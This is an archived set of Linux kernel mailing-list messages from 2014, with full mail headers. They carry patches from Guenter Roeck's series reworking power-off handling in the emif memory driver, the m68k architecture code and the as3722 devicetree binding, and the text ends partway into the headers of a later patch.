	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Santosh Shil
To: linux-kernel@vger.kernel.org
Original-X-From: linux-acpi-owner@vger.kernel.org Tue Oct 07 07:29:35 2014
Return-path: <linux-acpi-owner@vger.kernel.org>
Envelope-to: glad-acpi-devel@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-acpi-owner@vger.kernel.org>)
	id 1XbNL3-00027H-0E
	for glad-acpi-devel@plane.gmane.org; Tue, 07 Oct 2014 07:29:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753313AbaJGF3V (ORCPT <rfc822;glad-acpi-devel@m.gmane.org>);
	Tue, 7 Oct 2014 01:29:21 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40210 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753272AbaJGF3S (ORCPT
	<rfc822;linux-acpi@vger.kernel.org>); Tue, 7 Oct 2014 01:29:18 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=0WwS+iP/LHhzB6qpMIhmI/DpUcYDIbHfx7CT1YuKgDA=;
	b=bErJnwHvEeylZP74+VST/poW+m1iesyjT/ELRN23rIrMIxpYae9wXlzi08S3yDhmLuOIPh4ytXdEDBAGC8aDSo+H+eqWNSYpUDRhwj+jpo4r+AviJQN0oLF3p+Jl/mzIyz0RU47zvMWLRlaHi8///MQIgVnPDJdi1GTkP2gxQis=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNKn-002a56-8L
	for linux-acpi@vger.kernel.org; Tue, 07 Oct 2014 05:29:17 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32895 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNKX-002Zr0-15; Tue, 07 Oct 2014 05:29:01 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020203.54337A2D.0080,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 33
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-acpi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-acpi.vger.kernel.org>
X-Mailing-List: linux-acpi@vger.kernel.org
Xref: news.gmane.org gmane.linux.acpi.devel:71256 gmane.linux.kernel:1802433 gmane.linux.drivers.devicetree:93023 gmane.linux.kernel.virtualization.lguest:1442 gmane.linux.ports.alpha:2427 gmane.linux.kernel.efi:4710 gmane.linux.ports.hexagon:774 gmane.linux.ports.ppc64.devel:105853 gmane.linux.ports.tegra:19456 gmane.linux.kernel.openipmi:2433 gmane.linux.uml.devel:14646 gmane.linux.ports.arm.kernel:362328 gmane.linux.ports.ia64:24463 gmane.linux.kernel.metag:294 gmane.linux.ports.mips.general:44144 gmane.linux.ports.parisc:6069 gmane.linux.power-management.general:50598 gmane.linux.ports.sh.devel:39767
Archived-At: <http://permalink.gmane.org/gmane.linux.acpi.devel/71256>

Use have_kernel_poweroff() to determine if the kernel is able
to power off the system.

Cc: Santosh Shilimkar <santosh.shilimkar@ti.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/memory/emif.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/memory/emif.c b/drivers/memory/emif.c
index 04644e7..acd830a 100644
--- a/drivers/memory/emif.c
+++ b/drivers/memory/emif.c
@@ -1053,10 +1053,10 @@ static irqreturn_t emif_threaded_isr(int irq, void *dev_id)
 		dev_emerg(emif->dev, "SDRAM temperature exceeds operating limit.. Needs shut down!!!\n");
 
 		/* If we have Power OFF ability, use it, else try restarting */
-		if (pm_power_off) {
+		if (have_kernel_poweroff()) {
 			kernel_power_off();
 		} else {
-			WARN(1, "FIXME: NO pm_power_off!!! trying restart\n");
+			WARN(1, "FIXME: NO kernel poweroff capability!!! trying restart\n");
 			kernel_restart("SDRAM Over-temp Emergency restart");
 		}
 		return IRQ_HANDLED;
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-acpi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 04/44] m68k: Replace mach_power_off with pm_power_off
Date: Mon,  6 Oct 2014 22:28:06 -0700
Lines: 123
Approved: news@gmane.org
Message-ID: <1412659726-29957-5-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659784 25575 80.91.229.3 (7 Oct 2014 05:29:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:29:44 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Geert Uytter
To: linux-kernel@vger.kernel.org
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Oct 07 07:29:35 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1XbNL3-00027H-Hs
	for lnx-linux-alpha@plane.gmane.org; Tue, 07 Oct 2014 07:29:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753294AbaJGF30 (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Tue, 7 Oct 2014 01:29:26 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40230 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753307AbaJGF3V (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Tue, 7 Oct 2014 01:29:21 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=cIdAPz0kaAL1xF4qWYWwTieXLQYa14OC7yN1haJYCOg=;
	b=mEcYn3E6/MXETv4khprhc+TQg1Vz7li3ca6Mz3coc0YhEizEHwEvQQe0EAR9of9vB1XRMgfsaBfr2k1ykxp1wYN9rYgHFE5aM+Ux9wuUB69cpPTDyJN6KESaJNxzVssq6ndDn+YjP5kuOB3yKfShjbQO9ZtY0mcRy2VlsoCHpmk=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNKq-002aQ0-OW
	for linux-alpha@vger.kernel.org; Tue, 07 Oct 2014 05:29:20 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32897 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNKb-002Zwh-2p; Tue, 07 Oct 2014 05:29:05 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020208.54337A31.002A,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 128
X-CTCH-SenderID-TotalMessages: 50
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2428 gmane.linux.kernel:1802434 gmane.linux.drivers.devicetree:93024 gmane.linux.kernel.virtualization.lguest:1443 gmane.linux.acpi.devel:71257 gmane.linux.kernel.efi:4711 gmane.linux.ports.hexagon:775 gmane.linux.ports.ppc64.devel:105854 gmane.linux.ports.tegra:19457 gmane.linux.kernel.openipmi:2434 gmane.linux.uml.devel:14647 gmane.linux.ports.arm.kernel:362329 gmane.linux.ports.ia64:24464 gmane.linux.kernel.metag:295 gmane.linux.ports.mips.general:44145 gmane.linux.ports.parisc:6070 gmane.linux.power-management.general:50599 gmane.linux.ports.sh.devel:39768
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2428>

Replace mach_power_off with pm_power_off to simplify the subsequent
move of pm_power_off to generic code.

Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Greg Ungerer <gerg@uclinux.org>
Cc: Joshua Thompson <funaho@jurai.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/m68k/emu/natfeat.c         | 3 ++-
 arch/m68k/include/asm/machdep.h | 1 -
 arch/m68k/kernel/process.c      | 5 +++--
 arch/m68k/kernel/setup_mm.c     | 1 -
 arch/m68k/kernel/setup_no.c     | 1 -
 arch/m68k/mac/config.c          | 3 ++-
 6 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/arch/m68k/emu/natfeat.c b/arch/m68k/emu/natfeat.c
index 71b78ec..91e2ae7 100644
--- a/arch/m68k/emu/natfeat.c
+++ b/arch/m68k/emu/natfeat.c
@@ -15,6 +15,7 @@
 #include <linux/string.h>
 #include <linux/kernel.h>
 #include <linux/module.h>
+#include <linux/pm.h>
 #include <linux/io.h>
 #include <asm/machdep.h>
 #include <asm/natfeat.h>
@@ -90,5 +91,5 @@ void __init nf_init(void)
 	pr_info("NatFeats found (%s, %lu.%lu)\n", buf, version >> 16,
 		version & 0xffff);
 
-	mach_power_off = nf_poweroff;
+	pm_power_off = nf_poweroff;
 }
diff --git a/arch/m68k/include/asm/machdep.h b/arch/m68k/include/asm/machdep.h
index 953ca21..f9fac51 100644
--- a/arch/m68k/include/asm/machdep.h
+++ b/arch/m68k/include/asm/machdep.h
@@ -24,7 +24,6 @@ extern int (*mach_set_rtc_pll)(struct rtc_pll_info *);
 extern int (*mach_set_clock_mmss)(unsigned long);
 extern void (*mach_reset)( void );
 extern void (*mach_halt)( void );
-extern void (*mach_power_off)( void );
 extern unsigned long (*mach_hd_init) (unsigned long, unsigned long);
 extern void (*mach_hd_setup)(char *, int *);
 extern long mach_max_dma_address;
diff --git a/arch/m68k/kernel/process.c b/arch/m68k/kernel/process.c
index c55ff71..afe3d6e 100644
--- a/arch/m68k/kernel/process.c
+++ b/arch/m68k/kernel/process.c
@@ -22,6 +22,7 @@
 #include <linux/unistd.h>
 #include <linux/ptrace.h>
 #include <linux/user.h>
+#include <linux/pm.h>
 #include <linux/reboot.h>
 #include <linux/init_task.h>
 #include <linux/mqueue.h>
@@ -77,8 +78,8 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (mach_power_off)
-		mach_power_off();
+	if (pm_power_off)
+		pm_power_off();
 	for (;;);
 }
 
diff --git a/arch/m68k/kernel/setup_mm.c b/arch/m68k/kernel/setup_mm.c
index 5b8ec4d..002fea6 100644
--- a/arch/m68k/kernel/setup_mm.c
+++ b/arch/m68k/kernel/setup_mm.c
@@ -96,7 +96,6 @@ EXPORT_SYMBOL(mach_get_rtc_pll);
 EXPORT_SYMBOL(mach_set_rtc_pll);
 void (*mach_reset)( void );
 void (*mach_halt)( void );
-void (*mach_power_off)( void );
 long mach_max_dma_address = 0x00ffffff; /* default set to the lower 16MB */
 #ifdef CONFIG_HEARTBEAT
 void (*mach_heartbeat) (int);
diff --git a/arch/m68k/kernel/setup_no.c b/arch/m68k/kernel/setup_no.c
index 88c27d9..1520156 100644
--- a/arch/m68k/kernel/setup_no.c
+++ b/arch/m68k/kernel/setup_no.c
@@ -55,7 +55,6 @@ int (*mach_hwclk) (int, struct rtc_time*);
 /* machine dependent reboot functions */
 void (*mach_reset)(void);
 void (*mach_halt)(void);
-void (*mach_power_off)(void);
 
 #ifdef CONFIG_M68000
 #if defined(CONFIG_M68328)
diff --git a/arch/m68k/mac/config.c b/arch/m68k/mac/config.c
index a471eab..677913ff 100644
--- a/arch/m68k/mac/config.c
+++ b/arch/m68k/mac/config.c
@@ -16,6 +16,7 @@
 #include <linux/tty.h>
 #include <linux/console.h>
 #include <linux/interrupt.h>
+#include <linux/pm.h>
 /* keyb */
 #include <linux/random.h>
 #include <linux/delay.h>
@@ -159,7 +160,7 @@ void __init config_mac(void)
 	mach_set_clock_mmss = mac_set_clock_mmss;
 	mach_reset = mac_reset;
 	mach_halt = mac_poweroff;
-	mach_power_off = mac_poweroff;
+	pm_power_off = mac_poweroff;
 	mach_max_dma_address = 0xffffffff;
 #if defined(CONFIG_INPUT_M68K_BEEP) || defined(CONFIG_INPUT_M68K_BEEP_MODULE)
 	mach_beep = mac_mksound;
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.drivers.devicetree,gmane.linux.kernel,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 05/44] mfd: as3722: Drop reference to pm_power_off from devicetree bindings
Date: Mon,  6 Oct 2014 22:28:07 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <1412659726-29957-6-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659790 25633 80.91.229.3 (7 Oct 2014 05:29:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:29:50 +0000 (UTC)
Cc: adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>,
	Rob Herring
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: devicetree-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 07:29:41 2014
Return-path: <devicetree-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: gldd-devicetree-discuss-3-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <devicetree-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbNL2-00027H-EU; Tue, 07 Oct 2014 07:29:32 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753301AbaJGF3U (ORCPT
	<rfc822;gldd-devicetree-discuss-3@m.gmane.org> + 1 other);
	Tue, 7 Oct 2014 01:29:20 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40213 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753273AbaJGF3S (ORCPT
	<rfc822;devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Oct 2014 01:29:18 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=PzmoZplkkbtxt7umO0PZvjK872Ikd1k5r0o7vTY4xio=;
	b=Xg1YtJis4vdnI41GGMxRjnUaoLij/6Puu3m2iJFdcLHXF0Vr3Ybm1C/zZwsytMbyh8XX+0kC2LP15En8JCMCI1y+n4yzm0Oexa6sTmL9OdLSg7ka4snX+0UdwJUQaogt+L+2vaKPhvl6Q/15FpDTsnA2fQ4BZgQAkwWoOtwUCBg=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNKn-002a5f-HP
	for devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org; Tue, 07 Oct 2014 05:29:17 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32898 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNKd-002ZxT-67; Tue, 07 Oct 2014 05:29:07 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
X-Authenticated_sender: guenter-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020203.54337A2D.00BA,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 35
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: devicetree-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <devicetree.vger.kernel.org>
X-Mailing-List: devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.drivers.devicetree:93025 gmane.linux.kernel:1802435 gmane.linux.kernel.virtualization.lguest:1444 gmane.linux.acpi.devel:71258 gmane.linux.ports.alpha:2429 gmane.linux.kernel.efi:4712 gmane.linux.ports.hexagon:776 gmane.linux.ports.ppc64.devel:105855 gmane.linux.ports.tegra:19458 gmane.linux.kernel.openipmi:2435 gmane.linux.uml.devel:14648 gmane.linux.ports.arm.kernel:362330 gmane.linux.ports.ia64:24465 gmane.linux.kernel.metag:296 gmane.linux.ports.mips.general:44146 gmane.linux.ports.parisc:6071 gmane.linux.power-management.general:50600 gmane.linux.ports.sh.devel:39769
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.devicetree/93025>

Devicetree bindings are supposed to be operating system independent
and should thus not describe how a specific functionality is implemented
in Linux.

Cc: Rob Herring <robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
Cc: Pawel Moll <pawel.moll-5wv7dgnIgG8@public.gmane.org>
Cc: Mark Rutland <mark.rutland-5wv7dgnIgG8@public.gmane.org>
Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
---
 Documentation/devicetree/bindings/mfd/as3722.txt | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/Documentation/devicetree/bindings/mfd/as3722.txt b/Documentation/devicetree/bindings/mfd/as3722.txt
index 4f64b2a..0b2a609 100644
--- a/Documentation/devicetree/bindings/mfd/as3722.txt
+++ b/Documentation/devicetree/bindings/mfd/as3722.txt
@@ -122,8 +122,7 @@ Following are properties of regulator subnode.
 
 Power-off:
 =========
-AS3722 supports the system power off by turning off all its rail. This
-is provided through pm_power_off.
+AS3722 supports the system power off by turning off all its rails.
 The device node should have the following properties to enable this
 functionality
 ams,system-power-controller: Boolean, to enable the power off functionality
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe devicetree" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 09/44] mfd: palmas: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:11 -0700
Lines: 113
Approved: news@gmane.org
Message-ID: <1412659726-29957-10-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659794 25663 80.91.229.3 (7 Oct 2014 05:29:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:29:54 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
